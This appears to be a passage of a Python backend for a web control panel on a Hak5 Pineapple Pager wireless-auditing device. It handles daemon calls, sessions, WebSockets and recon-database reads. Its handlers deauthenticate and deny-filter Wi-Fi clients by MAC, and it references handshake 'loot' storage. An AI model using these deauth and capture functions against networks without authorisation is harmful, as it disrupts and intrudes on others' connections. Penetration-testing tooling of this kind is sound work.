#!/usr/bin/env python3
"""Mark VIII backend. Runs on the device's python3-light (stdlib only, no
urllib/http.server/sqlite3 modules); the sqlite reads fall back to the
device's sqlite3 CLI."""
import base64
import hashlib
import json
import os
import re
import select
import signal
import socket
import struct
import subprocess
import sys
import threading
import time
try:
import sqlite3
except ImportError:
sqlite3 = None
SQLITE_CLI = os.environ.get('PAGER_SQLITE_CLI', 'sqlite3')
DAEMON_BASE = os.environ.get('PAGER_DAEMON', 'http://127.0.0.1:1471')
DAEMON_SOCK = os.environ.get('PAGER_DAEMON_SOCK', '/tmp/api.sock')
AF_UNIX = getattr(socket, 'AF_UNIX', 1)
RECON_DB = os.environ.get('PAGER_RECON_DB', '/root/recon/recon.db')
LOOT_HS_DIR = os.environ.get('PAGER_LOOT_HS', '/root/loot/handshakes')
HAK5CMD = os.environ.get('PAGER_HAK5CMD', '/usr/bin/hak5cmd')
SESSION_FILE = os.environ.get('PAGER_SESSION_FILE', '/tmp/pagerwebui.session')
PINEAP_STATE_FILE = os.environ.get(
'PAGER_PINEAP_STATE_FILE',
os.path.join(os.environ.get('TMPDIR') or os.environ.get('TEMP') or '/tmp',
'pagerwebui.pineap-state'))
PAGER_SNAPSHOT_FILE = os.environ.get(
'PAGER_PAGER_SNAPSHOT',
os.path.join(os.environ.get('TMPDIR') or os.environ.get('TEMP') or '/tmp',
'pagerwebui.pager-snapshot.json'))
# UCI keys Mark VIII may overlay. Daemon-mediated PineAP (SSID pool contents,
# karma, filters lists) stays with the Pager UI; these keys plus radio1 AP
# sections are restored on graceful shutdown.
PAGER_SNAPSHOT_UCI = (
'pineapd.wlan1mon.hop',
'pineapd.wlan2mon.disable',
'pineapd.wlan2mon.hop',
'pineapd.wlan1mon.bands',
'pineapd.wlan0mon.bands',
'pineapd.@ssidpool[0].disable',
'pineapd.@hostapd[0].mgmtiface',
'pineapd.@ssid_filter[0].mode',
'pineapd.@mac_filter[0].mode',
'wireless.dummy_radio0.disabled',
'wireless.radio1.channel',
'wireless.radio1.band',
'wireless.radio1.htmode',
'wireless.radio1.country',
)
PAGER_SNAPSHOT_IFACES = ('wlan1open', 'wlan1wpa', 'wlan1ent')
WWW_DIR = os.environ.get('PAGER_WWW_DIR',
os.path.join(os.path.dirname(os.path.abspath(__file__)), 'www'))
HOST = os.environ.get('PAGER_HOST', '0.0.0.0')
PORT = int(os.environ.get('PAGER_PORT', '8080'))
_recon_scan_state = {'active': False, 'started': 0, 'duration': 0}
DEFAULT_RECON_DURATION = 30
RECON_HOP_INTERVAL = 0.8
RECON_CHANNELS = {
'wlan0mon': (1, 6, 11),
# Avoid DFS channels: changing to one can trigger CAC or fail entirely.
'wlan1mon': (36, 40, 44, 48, 149, 153, 157, 161, 165),
}
_recon_scan_lock = threading.Lock()
_recon_hopper_stop = threading.Event()
_recon_hop_state = {
'active': False, 'error': None, 'warning': None, 'hint': None,
'ifaces': [], 'skipped': {}, 'borrowed_wlan0': False,
}
_recon_scans_cache = {'db': None, 'updated': 0, 'data': {'scans': []}}
_recon_status_cache = {
'db': None, 'updated': 0, 'last_scan': None, 'last_activity': None}
WIGLE_DIR = os.environ.get('PAGER_WIGLE_DIR', '/root/loot/wigle')
GPSD_CONFIG = os.environ.get('PAGER_GPSD_CONFIG', '/etc/config/gpsd')
GPSD_INIT = os.environ.get('PAGER_GPSD_INIT', '/etc/init.d/gpsd')
SERIAL_DIR = os.environ.get('PAGER_SERIAL_DIR', '/dev/serial/by-path')
GPS_CACHE_SECONDS = 5.0
_gps_cache = {'updated': 0, 'data': None}
_gps_lock = threading.Lock()
_payload_runs = {}
_payload_runs_lock = threading.Lock()
_daemon_sock_lock = threading.Lock()
_pineapd_cmd_lock = threading.Lock()
DAEMON_SOCK_RETRIES = 2
DAEMON_SOCK_RETRY_SLEEP = 0.05
HAK5_RETRIES = 2
HAK5_RETRY_SLEEP = 0.05
PAYLOAD_RUN_DIR = os.environ.get('PAGER_PAYLOAD_RUN_DIR', '/tmp/pagerwebui-payload-runs')
PAYLOAD_ROOTS = tuple(os.path.realpath(path) for path in
os.environ.get('PAGER_PAYLOAD_ROOTS',
'/root/payloads:/mmc/root/payloads').split(':') if path)
SELF_PAYLOAD_DIR = os.path.realpath(os.path.dirname(os.path.abspath(__file__)))
SELF_PAYLOAD_KEY = os.environ.get('PAGER_SELF_PAYLOAD_KEY', 'user~remote_access~pager-webui')
def device_run(args, timeout=20, input_data=None):
try:
p = subprocess.run(args, input=input_data, capture_output=True, timeout=timeout)
return p.returncode, p.stdout.decode('utf-8', 'replace'), p.stderr.decode('utf-8', 'replace')
except FileNotFoundError:
return 127, '', 'not found'
except subprocess.TimeoutExpired as exc:
out = exc.stdout if exc.stdout is not None else b''
err = exc.stderr if exc.stderr is not None else b''
if not isinstance(out, str):
out = out.decode('utf-8', 'replace')
if not isinstance(err, str):
err = err.decode('utf-8', 'replace')
return 124, out, err or 'timeout'
def _daemon_addr():
base = DAEMON_BASE.replace('http://', '').split('?', 1)[0]
if ':' in base:
host, port = base.rsplit(':', 1)
return host, int(port)
return base, 80
def _retry_status0(fn):
"""Retry a (status, payload) call when the peer never answered (status 0)."""
last = (0, None)
attempts = max(1, DAEMON_SOCK_RETRIES + 1)
for attempt in range(attempts):
last = fn()
if last[0] != 0:
return last
if attempt + 1 < attempts and DAEMON_SOCK_RETRY_SLEEP:
time.sleep(DAEMON_SOCK_RETRY_SLEEP * (attempt + 1))
return last
def daemon_call(method, path, body=None, token=None, timeout=15):
return _retry_status0(
lambda: _daemon_call_once(method, path, body=body, token=token, timeout=timeout))
def _daemon_call_once(method, path, body=None, token=None, timeout=15):
host, port = _daemon_addr()
data = json.dumps(body).encode() if body is not None else None
lines = ['%s %s HTTP/1.1' % (method, path), 'Host: %s:%d' % (host, port),
'Accept: application/json', 'Connection: close']
if data is not None:
lines.append('Content-Type: application/json')
lines.append('Content-Length: %d' % len(data))
if token:
lines.append('Authorization: Bearer ' + token)
req = ('\r\n'.join(lines) + '\r\n\r\n').encode('ascii') + (data or b'')
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((host, port))
sock.sendall(req)
resp = b''
while True:
chunk = sock.recv(65536)
if not chunk:
break
resp += chunk
sock.close()
except OSError:
return 0, None
head, _, payload = resp.partition(b'\r\n\r\n')
if not head:
return 0, None
try:
status = int(head.split(b' ', 2)[1])
except (IndexError, ValueError):
return 0, None
headers = {}
for hline in head.split(b'\r\n')[1:]:
name, _, value = hline.decode('latin-1').partition(':')
headers[name.strip().lower()] = value.strip()
if headers.get('transfer-encoding', '').lower() == 'chunked':
decoded = bytearray()
rest = payload
try:
while rest:
size_line, sep, rest = rest.partition(b'\r\n')
if not sep:
raise ValueError('missing chunk delimiter')
size = int(size_line.split(b';', 1)[0], 16)
if size == 0:
break
if len(rest) < size + 2:
raise ValueError('short chunk')
decoded.extend(rest[:size])
rest = rest[size + 2:]
payload = bytes(decoded)
except (ValueError, IndexError):
return status, payload
if 'json' in headers.get('content-type', ''):
try:
return status, json.loads(payload.decode('utf-8', 'replace'))
except Exception:
return status, payload
return status, payload
def daemon_sock_call(method, path, body=None, timeout=10):
"""Raw HTTP/1.1 request to the daemon's local unix-socket API. Returns (status, json|None)."""
def once():
with _daemon_sock_lock:
return _daemon_sock_once(method, path, body=body, timeout=timeout)
return _retry_status0(once)
def _daemon_sock_once(method, path, body=None, timeout=10):
"""One unix-socket HTTP attempt. Returns (status, json|None)."""
data = json.dumps(body).encode() if body is not None else None
lines = ['%s %s HTTP/1.1' % (method, path), 'Host: localhost', 'Connection: close']
if data is not None:
lines += ['Content-Type: application/json', 'Content-Length: %d' % len(data)]
req = ('\r\n'.join(lines) + '\r\n\r\n').encode('ascii') + (data or b'')
sock = None
try:
sock = socket.socket(AF_UNIX, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect(DAEMON_SOCK)
sock.sendall(req)
resp = b''
while True:
chunk = sock.recv(65536)
if not chunk:
break
resp += chunk
except OSError:
return 0, None
finally:
if sock is not None:
try:
sock.close()
except OSError:
pass
head, _, payload = resp.partition(b'\r\n\r\n')
try:
status = int(head.split(b'\r\n', 1)[0].split(b' ', 2)[1])
except (IndexError, ValueError):
return 0, None
try:
data = json.loads(payload)
except Exception:
data = None
return status, data
class Router:
def __init__(self):
self.routes = []
def add(self, method, pattern, handler):
self.routes.append((method, re.compile('^' + pattern + '$'), handler))
def dispatch(self, method, path):
for m, rx, h in self.routes:
if m == method:
mm = rx.match(path)
if mm:
return h, mm.groups()
return None, None
ROUTER = Router()
def _safe_join(base, rel):
base = os.path.abspath(base)
full = os.path.abspath(os.path.join(base, rel))
if full == base or not full.startswith(base + os.sep):
return None
return full
class Download:
def __init__(self, data, ctype, filename=None):
self.data = data
self.ctype = ctype
self.filename = filename
def send(self, handler, status=200):
handler.send_response(status)
handler.send_header('Content-Type', self.ctype)
if self.filename:
safe = re.sub(r'[\r\n"]', '_', self.filename)
handler.send_header('Content-Disposition', 'attachment; filename="%s"' % safe)
handler.send_header('Content-Length', str(len(self.data)))
handler.send_header('Cache-Control', 'no-cache')
for name, value in getattr(handler, 'extra_headers', []):
handler.send_header(name, value)
handler.end_headers()
handler.connection.sendall(self.data)
def _json_default(obj):
"""Make sqlite BLOBs JSON-safe (hex) so enterprise captures never 500."""
if isinstance(obj, memoryview):
obj = obj.tobytes()
if isinstance(obj, (bytes, bytearray)):
return bytes(obj).hex()
raise TypeError('%r is not JSON serializable' % (obj,))
def _unquote_plus(s):
s = s.replace('+', ' ')
return re.sub(r'%([0-9A-Fa-f]{2})', lambda m: chr(int(m.group(1), 16)), s)
def _parse_qsl(qs):
result = []
for pair in qs.split('&'):
if not pair:
continue
k, _, v = pair.partition('=')
result.append((_unquote_plus(k), _unquote_plus(v)))
return result
class _Ctx:
def __init__(self, handler, groups):
self.h = handler
self.args = groups
self.query = dict(_parse_qsl(handler.path.split('?', 1)[1])) if '?' in handler.path else {}
@property
def cookie(self):
return self.h.headers.get('cookie', '') or ''
@property
def body(self):
raw = getattr(self.h, 'body', b'')
if not raw:
return {}
try:
return json.loads(raw.decode('utf-8'))
except Exception:
return {}
WS_GUID = '258EAFA5-E914-47DA-95CA-C5AB0DC85B11'
def ws_handshake_reply(key):
accept = base64.b64encode(hashlib.sha1((key + WS_GUID).encode('ascii')).digest()).decode('ascii')
return ('HTTP/1.1 101 Switching Protocols\r\n'
'Upgrade: websocket\r\n'
'Connection: Upgrade\r\n'
'Sec-WebSocket-Accept: ' + accept + '\r\n\r\n').encode('ascii')
def ws_encode(payload, opcode=0x1, mask=False):
header = bytearray([0x80 | opcode])
n = len(payload)
if n < 126:
header.append(0x80 | n if mask else n)
elif n < 65536:
header.append(0x80 | 126 if mask else 126)
header += struct.pack('>H', n)
else:
header.append(0x80 | 127 if mask else 127)
header += struct.pack('>Q', n)
if mask:
mask_bytes = os.urandom(4)
header += mask_bytes
payload = bytes(b ^ mask_bytes[i % 4] for i, b in enumerate(payload))
return bytes(header) + payload
def ws_decode_frame(buf):
if len(buf) < 2:
return None, b'', 0
opcode = buf[0] & 0x0F
masked = bool(buf[1] & 0x80)
length = buf[1] & 0x7F
off = 2
if length == 126:
if len(buf) < 4:
return None, b'', 0
length = struct.unpack('>H', buf[2:4])[0]
off = 4
elif length == 127:
if len(buf) < 10:
return None, b'', 0
length = struct.unpack('>Q', buf[2:10])[0]
off = 10
if masked:
if len(buf) < off + 4:
return None, b'', 0
mask = buf[off:off + 4]
off += 4
if len(buf) < off + length:
return None, b'', 0
payload = buf[off:off + length]
if masked:
payload = bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
return opcode, payload, off + length
def _relay_drain(buf, chunk):
"""Append chunk to buf, decode complete frames, return (remaining_buf, frames, closed).
frames is a list of (opcode, payload) for text/binary frames; closed True on a close frame."""
buf += chunk
frames = []
closed = False
off = 0
while off < len(buf):
op, payload, used = ws_decode_frame(buf[off:])
if used == 0:
break
off += used
if op in (0x1, 0x2):
frames.append((op, payload))
elif op == 0x8:
closed = True
break
return buf[off:], frames, closed
class WSPool:
def __init__(self):
self.clients = []
self.lock = threading.Lock()
def add(self, sock):
with self.lock:
self.clients.append(sock)
def remove(self, sock):
with self.lock:
if sock in self.clients:
self.clients.remove(sock)
def broadcast(self, payload_bytes):
dead = []
with self.lock:
for c in list(self.clients):
try:
c.sendall(payload_bytes)
except Exception:
dead.append(c)
for c in dead:
if c in self.clients:
self.clients.remove(c)
WS_POOL = WSPool()
LIVE_STOP = threading.Event()
def live_loop():
while not LIVE_STOP.is_set():
time.sleep(2)
if not WS_POOL.clients:
continue
# status_data() already performs the relatively expensive iwinfo
# association scan. Reuse that snapshot instead of immediately
# running the same commands a second time for every live tick.
status = status_data()
tick = {'type': 'tick', 'status': status, 'clients': status.get('clients', [])}
WS_POOL.broadcast(ws_encode(json.dumps(tick).encode()))
_REASONS = {200: 'OK', 204: 'No Content', 400: 'Bad Request', 401: 'Unauthorized',
403: 'Forbidden', 404: 'Not Found', 500: 'Internal Server Error',
502: 'Bad Gateway'}
def same_origin(headers):
"""Allow non-browser clients, but reject browser requests from another origin."""
host = (headers.get('host', '') or '').strip().lower()
if not host:
return False
source = (headers.get('origin', '') or '').strip()
if not source:
source = (headers.get('referer', '') or '').strip()
if not source:
return True
match = re.match(r'^https?://([^/]+)(?:/|$)', source, re.I)
return bool(match and match.group(1).lower() == host)
class _Headers(dict):
def _lk(self, key):
return key.lower() if isinstance(key, str) else key
def __getitem__(self, key):
return dict.__getitem__(self, self._lk(key))
def __contains__(self, key):
return dict.__contains__(self, self._lk(key))
def get(self, key, default=None):
return dict.get(self, self._lk(key), default)
class PagerHandler:
def __init__(self, conn, addr):
self.connection = conn
self.addr = addr
self.extra_headers = []
self.close_connection = False
self.command = None
self.path = None
self.headers = {}
self.body = b''
self._buf = b''
def _readline(self):
while b'\n' not in self._buf:
chunk = self.connection.recv(4096)
if not chunk:
return None
self._buf += chunk
line, self._buf = self._buf.split(b'\n', 1)
return line.rstrip(b'\r')
def read_request(self):
line = self._readline()
if line is None or not line:
return False
parts = line.decode('latin-1').split(' ')
if len(parts) != 3:
return False
self.command, self.path, version = parts
headers = _Headers()
while True:
h = self._readline()
if h is None:
return False
if not h:
break
name, _, value = h.decode('latin-1').partition(':')
headers[name.strip().lower()] = value.strip()
self.headers = headers
try:
length = int(headers.get('content-length', '0') or '0')
except ValueError:
length = 0
if length > 0:
while len(self._buf) < length:
chunk = self.connection.recv(65536)
if not chunk:
return False
self._buf += chunk
self.body = self._buf[:length]
self._buf = self._buf[length:]
else:
self.body = b''
conn_tok = headers.get('connection', '').lower()
if version == 'HTTP/1.0':
self.close_connection = conn_tok != 'keep-alive'
else:
self.close_connection = conn_tok == 'close'
return True
def send_response(self, status, reason=''):
reason = reason or _REASONS.get(status, '')
self.connection.sendall(('HTTP/1.1 %d %s\r\n' % (status, reason)).encode('latin-1'))
def send_header(self, name, value):
self.connection.sendall(('%s: %s\r\n' % (name, value)).encode('latin-1'))
def end_headers(self):
self.connection.sendall(b'\r\n')
def _dispatch(self):
if not same_origin(self.headers):
self._fail(403, 'cross-origin request rejected')
return
if self.command == 'OPTIONS':
self.send_response(204)
self.send_header('Allow', 'GET, POST, DELETE, OPTIONS')
self.end_headers()
return
self._route(self.command)
def add_extra_header(self, name, value):
if not hasattr(self, 'extra_headers'):
self.extra_headers = []
self.extra_headers.append((name, value))
def _security_headers(self):
self.send_header('X-Content-Type-Options', 'nosniff')
self.send_header('X-Frame-Options', 'DENY')
self.send_header('Referrer-Policy', 'same-origin')
self.send_header(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; "
"img-src 'self' data: blob:; connect-src 'self' ws: wss:; "
"object-src 'none'; base-uri 'none'; frame-ancestors 'none'")
def _json(self, obj, status=200, close=False):
body = json.dumps(obj, default=_json_default).encode()
self.send_response(status)
self.send_header('Content-Type', 'application/json')
self.send_header('Content-Length', str(len(body)))
self.send_header('Cache-Control', 'no-cache')
self._security_headers()
if close:
self.close_connection = True
self.send_header('Connection', 'close')
for name, value in getattr(self, 'extra_headers', []):
self.send_header(name, value)
self.end_headers()
self.connection.sendall(body)
def _fail(self, status, message):
self._json({'error': message}, status, close=True)
def _serve_static(self, path):
rel = path.lstrip('/')
if not rel:
rel = 'index.html'
rel = rel.replace('\\', '/')
if '..' in rel.split('/'):
return False
full = _safe_join(WWW_DIR, rel)
if not full or not os.path.isfile(full):
return False
ctype = {
'.html': 'text/html', '.js': 'text/javascript', '.css': 'text/css',
'.png': 'image/png', '.svg': 'image/svg+xml', '.json': 'application/json',
'.map': 'application/json', '.woff2': 'font/woff2',
}.get(os.path.splitext(full)[1], 'application/octet-stream')
with open(full, 'rb') as f:
data = f.read()
self.send_response(200)
self.send_header('Content-Type', ctype)
self.send_header('Content-Length', str(len(data)))
self.send_header('Cache-Control', 'no-cache')
self._security_headers()
self.end_headers()
self.connection.sendall(data)
return True
def _route(self, method):
path = self.path.split('?', 1)[0]
if self.headers.get('Upgrade', '').lower() == 'websocket':
self._ws_accept()
return
handler, groups = ROUTER.dispatch(method, path)
if handler is None:
if method == 'GET' and self._serve_static(path):
return
self._fail(404, 'not found')
return
if method != 'POST' or path not in ('/api/login', '/mcp'):
if not check_auth(self.headers.get('Cookie', '') or ''):
self._fail(401, 'unauthorized')
return
ctx = _Ctx(self, groups)
try:
result = handler(ctx)
except Exception as e:
self._fail(500, str(e))
return
if result is None:
return
status, payload = result
if isinstance(payload, Download):
payload.send(self, status)
else:
self._json(payload, status)
def _ws_accept(self):
self.close_connection = True
if not same_origin(self.headers):
return self._fail(403, 'cross-origin websocket rejected')
path = self.path.split('?', 1)[0]
if path == '/api/terminal/openWs':
return self._ws_relay_daemon('/api/terminal/openWs')
if path in ('/api/pager/display/screen.ws', '/api/pager/input/keys.ws'):
return self._ws_relay_daemon(path)
if path != '/api/ws':
return self._fail(404, 'not found')
if not check_auth(self.headers.get('Cookie', '') or ''):
return self._fail(401, 'unauthorized')
key = self.headers.get('Sec-WebSocket-Key', '')
self.connection.sendall(ws_handshake_reply(key))
WS_POOL.add(self.connection)
try:
while True:
opcode, payload = self._ws_read_frame()
if opcode is None or opcode == 0x8:
break
if opcode == 0x9:
self.connection.sendall(ws_encode(payload, opcode=0xA))
finally:
WS_POOL.remove(self.connection)
try:
self.connection.close()
except OSError:
pass
def _ws_read_frame(self):
hdr = self._recv_exact(2)
if hdr is None:
return None, b''
length = hdr[1] & 0x7F
if length == 126:
ext = self._recv_exact(2)
if ext is None:
return None, b''
length = struct.unpack('>H', ext)[0]
elif length == 127:
ext = self._recv_exact(8)
if ext is None:
return None, b''
length = struct.unpack('>Q', ext)[0]
masked = bool(hdr[1] & 0x80)
mask = self._recv_exact(4) if masked else b''
payload = self._recv_exact(length)
if payload is None:
return None, b''
if masked:
payload = bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
return hdr[0] & 0x0F, payload
def _recv_exact(self, n):
buf = b''
while len(buf) < n:
chunk = self.connection.recv(n - len(buf))
if not chunk:
return None
buf += chunk
return buf
def _ws_relay_daemon(self, daemon_path):
if not check_auth(self.headers.get('Cookie', '') or ''):
return self._fail(401, 'unauthorized')
key = self.headers.get('Sec-WebSocket-Key', '')
self.connection.sendall(ws_handshake_reply(key))
daemon_sock, err = _daemon_ws_connect(daemon_path)
if err:
try:
self.connection.sendall(ws_encode(('relay error: ' + err).encode(), opcode=0x1))
except OSError:
pass
try:
self.connection.close()
except OSError:
pass
return
self.connection.settimeout(5)
daemon_sock.setblocking(False)
import select
buf = b''
try:
while True:
rlist, _, _ = select.select([self.connection, daemon_sock], [], [], 5)
for s in rlist:
if s is daemon_sock:
try:
chunk = daemon_sock.recv(65536)
except (BlockingIOError, InterruptedError):
continue
if not chunk:
return
# daemon frames may be masked per its own framing; decode then forward unmasked
buf, frames, closed = _relay_drain(buf, chunk)
for op, payload in frames:
self.connection.sendall(ws_encode(payload, opcode=op))
if closed:
return
else:
try:
opcode, payload = self._ws_read_frame()
except (OSError, socket.timeout):
continue
if opcode is None or opcode == 0x8:
return
if opcode in (0x1, 0x2, 0x9):
try:
daemon_sock.sendall(ws_encode(payload, opcode=opcode, mask=True))
except OSError:
return
finally:
try:
daemon_sock.close()
except OSError:
pass
try:
self.connection.close()
except OSError:
pass
def load_session():
try:
os.chmod(SESSION_FILE, 0o600)
with open(SESSION_FILE) as f:
return json.load(f)
except Exception:
return {}
def save_session(session):
tmp = SESSION_FILE + '.tmp'
fd = os.open(tmp, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
with os.fdopen(fd, 'w') as f:
json.dump(session, f)
os.chmod(tmp, 0o600)
os.replace(tmp, SESSION_FILE)
os.chmod(SESSION_FILE, 0o600)
def current_token():
return load_session().get('token', '')
def current_serverid():
return load_session().get('serverid', '')
def check_auth(cookie_header):
if not cookie_header:
return False
session = load_session()
serverid = session.get('serverid', '')
token = session.get('token', '')
if not serverid or not token:
return False
expected = 'AUTH_%s=%s' % (serverid, token)
for entry in cookie_header.split(';'):
if entry.strip() == expected:
return True
return False
def h_login(ctx):
username = (ctx.body or {}).get('username', '')
password = (ctx.body or {}).get('password', '')
status, data = daemon_call('POST', '/api/login', body={'username': username, 'password': password})
if status != 200 or not isinstance(data, dict) or 'token' not in data:
return 401, {'error': 'login failed'}
token = data['token']
pstatus, ping = daemon_call('GET', '/api/api_ping', token=token)
serverid = ping.get('serverid', '') if isinstance(ping, dict) else ''
save_session({'serverid': serverid, 'token': token, 'created': int(time.time())})
ctx.h.add_extra_header('Set-Cookie', 'AUTH_%s=%s; Path=/; HttpOnly; SameSite=Strict' % (serverid, token))
return 200, {'ok': True, 'serverid': serverid}
def h_logout(ctx):
serverid = current_serverid()
try:
os.unlink(SESSION_FILE)
except OSError:
pass
cookie_name = 'AUTH_%s' % serverid if serverid else 'AUTH'
ctx.h.add_extra_header(
'Set-Cookie', '%s=; Path=/; HttpOnly; SameSite=Strict; Max-Age=0' % cookie_name)
return 200, {'ok': True}
def h_api_ping(ctx):
token = current_token()
status, data = daemon_call('GET', '/api/api_ping', token=token)
if status != 200 or not isinstance(data, dict):
return 502, {'error': 'daemon unreachable'}
return 200, data
def battery_data(power_supply='/sys/class/power_supply'):
try:
for name in sorted(os.listdir(power_supply)):
try:
with open(os.path.join(power_supply, name, 'type')) as f:
typ = f.read().strip()
except OSError:
continue
if typ != 'Battery':
continue
level = None
cap = os.path.join(power_supply, name, 'capacity')
if os.path.exists(cap):
try:
with open(cap) as f:
level = int(f.read().strip())
except ValueError:
level = None
charging = False
st = os.path.join(power_supply, name, 'status')
if os.path.exists(st):
try:
with open(st) as f:
charging = 'Charg' in f.read()
except OSError:
charging = False
return {'level': level, 'charging': charging}
except OSError:
pass
return {'level': None, 'charging': False}
def wifi_ifaces():
"""List wifi interfaces from sysfs first so a hung `iwinfo` cannot stall clients."""
names = []
try:
for name in sorted(os.listdir('/sys/class/net')):
if name.startswith('wlan') or name.startswith('radio'):
names.append(name)
if names:
return names
except OSError:
pass
rc, out, err = device_run(['iwinfo'], timeout=8)
for line in out.splitlines():
m = re.match(r'^(\S+)\s+', line)
if m and (m.group(1).startswith('wlan') or m.group(1).startswith('radio')):
names.append(m.group(1))
return names
def wifi_iface_info(name):
rc, out, err = device_run(['iwinfo', name, 'info'])
info = {'iface': name}
for line in out.splitlines():
m = re.search(r'ESSID:\s*"([^"]*)"', line)
if m:
info['ssid'] = m.group(1)
m = re.search(r'Mode:\s*(\S+)', line)
if m:
info['mode'] = m.group(1)
m = re.search(r'Channel:\s*(\d+)', line)
if m:
info['channel'] = int(m.group(1))
m = re.search(r'Link Quality:\s*(\d+)/(\d+)', line)
if m:
info['quality'] = {'signal': int(m.group(1)), 'max': int(m.group(2))}
return info
MAC_RE = re.compile(r'^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$')
def normalize_mac(mac):
mac = (mac or '').strip().upper()
return mac if MAC_RE.match(mac) else None
def h_clients(ctx):
try:
clients = assoc_clients()
except Exception as exc:
return 200, {'clients': [], 'count': 0, 'error': str(exc)}
return 200, {'clients': clients, 'count': len(clients)}
def h_client_kick(ctx):
mac = normalize_mac((ctx.body or {}).get('mac'))
if not mac:
return 400, {'error': 'invalid mac'}
# Persistent kick: deny-filter the client so pineapd deauths every probe
# and connect, then deauth it once immediately with the full
# (bssid, target, channel) form hak5cmd requires.
try:
hak5('PINEAPPLE_DEVICE_FILTER_MODE', 'deny')
hak5('PINEAPPLE_DEVICE_FILTER_ADD', 'deny', mac)
except RuntimeError as exc:
return 502, {'error': 'kick filter failed', 'detail': str(exc)}
ok, detail = _deauth_client_via_iface(mac)
return 200, {'ok': True, 'deauth': ok, 'detail': detail or None}
def h_deauth_client(ctx):
mac = normalize_mac((ctx.body or {}).get('mac'))
if not mac:
return 400, {'error': 'invalid mac'}
ok, detail = _deauth_client_via_iface(mac)
if not ok:
return 502, {'error': 'deauth failed', 'detail': detail}
return 200, {'ok': True}
SQLITE_BUSY_MSGS = ('database is locked', 'database is busy')
def _db_rows(db, sql, _retries=1, timeout=20):
if sqlite3 is not None:
try:
conn = sqlite3.connect('file:%s?mode=ro' % db, uri=True)
try:
cur = conn.execute(sql)
cols = [d[0] for d in cur.description]
return [dict(zip(cols, row)) for row in cur.fetchall()]
finally:
conn.close()
except sqlite3.Error as exc:
raise RuntimeError('sqlite read failed: %s' % exc)
rc, out, err = device_run([SQLITE_CLI, '-json', '-cmd', '.timeout 500', db, sql],
timeout=timeout)
attempt = 1
while rc != 0 and any(m in (err or '') for m in SQLITE_BUSY_MSGS) and attempt < _retries:
time.sleep(0.3)
rc, out, err = device_run([SQLITE_CLI, '-json', '-cmd', '.timeout 500', db, sql],
timeout=timeout)
attempt += 1
st = _recon_scan_state
elapsed = time.time() - st['started'] if st['started'] else 0
completed_here = st['duration'] > 0 and elapsed >= st['duration'] + 2
if (rc != 0 and any(m in (err or '') for m in SQLITE_BUSY_MSGS)
and db == RECON_DB and (not st['active'] or completed_here)):
# Pager firmware leaves a stale exclusive lock after native completion.
# The file is stable by this point, so bypass that stale lock read-only.
immutable_db = 'file:%s?immutable=1' % db
rc, out, err = device_run(
[SQLITE_CLI, '-json', immutable_db, sql], timeout=timeout)
if rc != 0:
raise RuntimeError('sqlite read failed: %s' % (err or out).strip())
if out.strip():
return json.loads(out)
return []
def fmt_mac(raw):
"""AE77C0EB3141 -> AE:77:C0:EB:31:41; anything else passes through (None/'' -> '--')."""
raw = (raw or '').strip()
if len(raw) == 12 and all(c in '0123456789ABCDEFabcdef' for c in raw):
return ':'.join(raw[i:i + 2] for i in range(0, 12, 2))
return raw or '--'
def decode_ssid(raw):
if raw is None:
return ''
if isinstance(raw, str):
if '\\x' in raw:
out = bytearray()
i = 0
n = len(raw)
while i < n:
if (raw[i] == '\\' and i + 3 < n and raw[i + 1] == 'x'
and all(c in '0123456789abcdefABCDEF' for c in raw[i + 2:i + 4])):
out.append(int(raw[i + 2:i + 4], 16))
i += 4
else:
out.extend(raw[i].encode('utf-8', 'replace'))
i += 1
raw = bytes(out)
else:
return raw
try:
return raw.decode('utf-8', 'replace')
except Exception:
return raw.decode('latin-1', 'replace')
ENC_WEP = 0x01 | 0x02
ENC_TKIP = 0x04
ENC_CCMP = 0x08
ENC_GCMP = 0x20
ENC_GCMP256 = 0x80
ENC_CCMP256 = 0x100
# AKM suites ride in bits 32-47 (bit k = RSN suite selector k advertised).
ENC_AKM_EAP = 1 << (32 + 1) # 802.1X / EAP (Enterprise)
ENC_AKM_PSK = 1 << (32 + 2) # PSK
ENC_AKM_FT_EAP = 1 << (32 + 3) # FT-802.1X (Enterprise)
ENC_AKM_FT_PSK = 1 << (32 + 4) # FT-PSK
ENC_AKM_EAP_SHA256 = 1 << (32 + 5) # 802.1X-SHA256 (Enterprise)
ENC_AKM_PSK_SHA256 = 1 << (32 + 6) # PSK-SHA256
ENC_AKM_SAE = 1 << (32 + 8) # SAE (WPA3-Personal)
ENC_AKM_FT_SAE = 1 << (32 + 9) # FT-SAE
ENC_AKM_OWE = 1 << (32 + 13) # OWE
ENC_AKM_OWE_SHA192 = 1 << (32 + 14) # OWE-SHA256-192
def decode_encryption(v):
"""Pager recon.db encryption bitfield -> display string.
Low bits carry pairwise ciphers, bits 32-47 carry the advertised AKM
suites, so WPA2-PSK vs WPA2-Enterprise (and WPA3-Personal vs
WPA3-Enterprise) can be told apart.
"""
v = v or 0
if v == 0:
return 'Open'
parts = []
if v & (ENC_GCMP256 | ENC_CCMP256):
parts.append('WPA3')
if v & (ENC_CCMP | ENC_GCMP):
parts.append('WPA2')
if v & ENC_TKIP:
parts.append('WPA')
if v & ENC_WEP:
parts.append('WEP')
if not parts:
return 'Open'
if v & (ENC_AKM_EAP | ENC_AKM_FT_EAP | ENC_AKM_EAP_SHA256):
parts.append('Enterprise')
elif v & (ENC_AKM_SAE | ENC_AKM_FT_SAE):
parts.append('SAE')
elif v & ENC_AKM_OWE:
parts.append('OWE')
elif v & (ENC_AKM_PSK | ENC_AKM_FT_PSK | ENC_AKM_PSK_SHA256):
parts.append('PSK')
return ' '.join(parts) if parts else 'Open'
# Compact OUI -> vendor table (24-bit prefix, hex without colons). Covers the
# vendors most commonly seen in the field; everything else resolves to
# 'Unknown'. Locally administered MACs resolve to 'Local'.
OUI_VENDORS = {
'00000C': 'Cisco', '000393': 'Apple', '000625': 'Linksys', '000C42': 'MikroTik',
'000DB9': 'Intel', '001376': 'MikroTik', '0016CB': 'Apple', '0017F2': 'Apple',
'001BFC': 'ASUS', '001E10': 'Huawei', '0025C7': 'Apple', '00500B': 'HP',
